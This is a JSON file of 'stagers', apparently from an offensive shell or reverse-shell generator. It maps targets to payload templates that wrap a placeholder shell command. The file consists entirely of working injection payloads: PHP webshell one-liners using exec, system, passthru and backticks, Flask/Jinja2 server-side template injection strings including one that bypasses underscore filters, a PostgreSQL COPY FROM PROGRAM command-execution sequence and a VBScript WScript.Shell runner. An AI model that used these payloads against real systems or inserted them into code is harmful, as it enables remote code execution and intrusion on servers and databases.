stagers.json

{
  "pss": {
    "direct": {
      "payload": "<<SHELL>>"
    }
  },
  "php": {
    "exec": {
      "payload": "<?php exec(\"<<SHELL>>\"); ?>"
    },
    "passthru": {
      "payload": "<?php passthru(\"<<SHELL>>\"); ?>"
    },
    "popen": {
      "payload": "<?php popen(\"<<SHELL>>\", \"r\"); ?>"
    },
    "shell_exec": {
      "payload": "<?php shell_exec(\"<<SHELL>>\"); ?>"
    },
    "singleqoute": {
      "payload": "<?php `<<SHELL>>`; ?>"
    },
    "system": {
      "payload": "<?php system(\"<<SHELL>>\"); ?>"
    }
  },
  "flask": {
    "ssti-os-system": {
      "payload": "{{ self.__init__.__globals__.__builtins__.__import__(\"os\").system(\"<<SHELL>>\") }}"
    },
    "ssti-os-popen": {
      "payload": "{{ self.__init__.__globals__.__builtins__.__import__(\"os\").popen(\"<<SHELL>>\").read() }}"
    },
    "ssti-os-popen-filter-bypass-join": {
      "payload": "{{request|attr(\"application\")|attr([\"_\"*2,\"globals\",\"_\"*2]|join)|attr([\"_\"*2,\"getitem\",\"_\"*2]|join)([\"_\"*2,\"builtins\",\"_\"*2]|join)|attr([\"_\"*2,\"getitem\",\"_\"*2]|join)([\"_\"*2,\"import\",\"_\"*2]|join)(\"os\")|attr(\"popen\")(\"<<SHELL>>\")|attr(\"read\")()}}"
    }
  },
  "postgresql": {
    "cmd_exec": {
      "payload": "DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM '<<SHELL>>'; SELECT * FROM cmd_exec; DROP TABLE IF EXISTS cmd_exec;"
    }
  },
  "vbscript": {
    "cmd_exec": {
      "payload": "CreateObject(\"WScript.Shell\").Run(\"<<SHELL>>\")"
    }
  }
}